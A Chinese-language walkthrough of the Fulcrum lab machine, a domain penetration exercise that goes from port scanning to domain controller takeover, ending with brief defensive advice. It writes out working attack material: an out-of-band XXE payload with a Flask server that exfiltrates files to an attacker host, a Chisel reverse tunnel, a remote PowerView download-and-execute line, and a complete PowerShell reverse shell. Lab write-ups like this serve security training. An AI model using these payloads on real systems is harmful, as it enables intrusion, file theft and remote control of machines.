域渗透实战之fulcrum
字数 1100 2025-08-24 07:48:23
域渗透实战之Fulcrum - 详细教学文档
信息收集阶段
端口扫描
使用nmap进行全面的端口扫描:
nmap -sV -p- 目标IP
发现大量开放端口,需要重点关注以下服务:
- Web服务端口(如80、443、8080等)
- 数据库服务端口(如3306、5432等)
- 管理接口端口(如5985/WinRM、88/Kerberos等)
Web服务枚举
-
目录暴力破解:
dirb http://目标IP/ /path/to/wordlist.txt发现
home.php存在但无法直接利用 -
参数Fuzzing:
wfuzz -c -z file,/path/to/wordlist.txt --hc 404 http://目标IP/FUZZ -
特殊端口检查:
- 访问88端口发现phpMyAdmin登录界面
- 尝试常见弱口令组合未果
漏洞利用
XXE漏洞利用
在56423端口发现XXE漏洞:
-
构造恶意XML:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://攻击者IP/dtd?fn=目标文件"> <data>&send;</data> -
准备DTD文件服务器:
from flask import Flask, request app = Flask(__name__) @app.route("/dtd") def dtd(): fn = request.args['fn'] return f"""<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource={fn}"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://攻击者IP/exfil?data=%file;'>"> %all;""" @app.route("/exfil") def data(): b64data = request.args['data'] # 解码并处理数据 return "" if __name__ == "__main__": app.run(host="0.0.0.0", port=80) -
执行文件读取:
curl -X POST http://目标IP:56423 -d @malicious.xml
获取初始立足点
-
通过XXE读取敏感文件:
/etc/passwd- Web应用配置文件
- 数据库连接文件
-
发现数据库凭据:
在config.inc.php中找到用户名和加密密码 -
密码解密:
根据加密方式(如base64、md5等)尝试解密
权限提升
内网枚举
-
上传nmap进行内网扫描:
nmap -sV -p- 192.168.122.0/24发现5985端口(WinRM)开放
-
检查网络共享:
smbclient -L //目标IP -U 'username%password'
横向移动
-
隧道搭建:
使用Chisel建立SOCKS隧道:# 攻击机 ./chisel server -p 8000 --reverse # 目标机 ./chisel client 攻击机IP:8000 R:socks -
配置代理:
在攻击机上配置proxychains使用建立的SOCKS隧道 -
WinRM连接:
proxychains evil-winrm -i 内网IP -u username -p password
域渗透
活动目录枚举
-
使用PowerShell查询LDAP:
$de = New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=fulcrum,DC=local", "username", "password") $ds = New-Object System.DirectoryServices.DirectorySearcher($de) $ds.Filter = "(objectClass=user)" $ds.FindAll() | % { $_.Properties } -
查询域管理员:
$group = [ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=fulcrum,DC=local" $group.Member | % { [ADSI]"LDAP://$_" } | select name
使用PowerView进行高级枚举
-
上传PowerView.ps1:
IEX(New-Object Net.WebClient).DownloadString("http://攻击机IP/PowerView.ps1") -
执行域枚举:
Get-NetUser | select samaccountname,description Get-NetGroup -GroupName "Domain Admins"
获取域控权限
-
发现域管凭据:
在共享文件或配置文件中发现域管理员密码 -
通过WinRM执行命令:
$cred = New-Object System.Management.Automation.PSCredential("fulcrum\administrator", (ConvertTo-SecureString "密码" -AsPlainText -Force)) Invoke-Command -Computer dc.fulcrum.local -Credential $cred -ScriptBlock { whoami } -
反弹Shell:
Invoke-Command -Computer dc.fulcrum.local -Credential $cred -scriptblock { $client = New-Object System.Net.Sockets.TCPClient('攻击机IP',53); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close() }
后渗透阶段
-
获取用户标志:
type C:\Users\用户名\Desktop\user.txt -
获取系统标志:
type C:\Users\Administrator\Desktop\root.txt -
持久化维持:
- 创建计划任务
- 添加后门账户
- 部署Web Shell
关键工具清单
-
信息收集:
- nmap
- dirb/wfuzz
- smbclient
-
漏洞利用:
- Burp Suite
- 自定义Python脚本
-
横向移动:
- Chisel
- Proxychains
- evil-winrm
-
域渗透:
- PowerView.ps1
- Mimikatz
- BloodHound
防御建议
-
针对XXE漏洞:
- 禁用外部实体解析
- 使用安全的XML解析器
-
针对域安全:
- 实施最小权限原则
- 启用LSA保护
- 监控异常LDAP查询
-
通用防御:
- 定期更新和打补丁
- 实施网络分段
- 启用详细的日志记录和监控
本教学文档详细记录了从信息收集到域控获取的完整过程,重点突出了XXE漏洞利用、内网横向移动和活动目录枚举等关键步骤。实际测试中应根据目标环境调整具体参数和方法。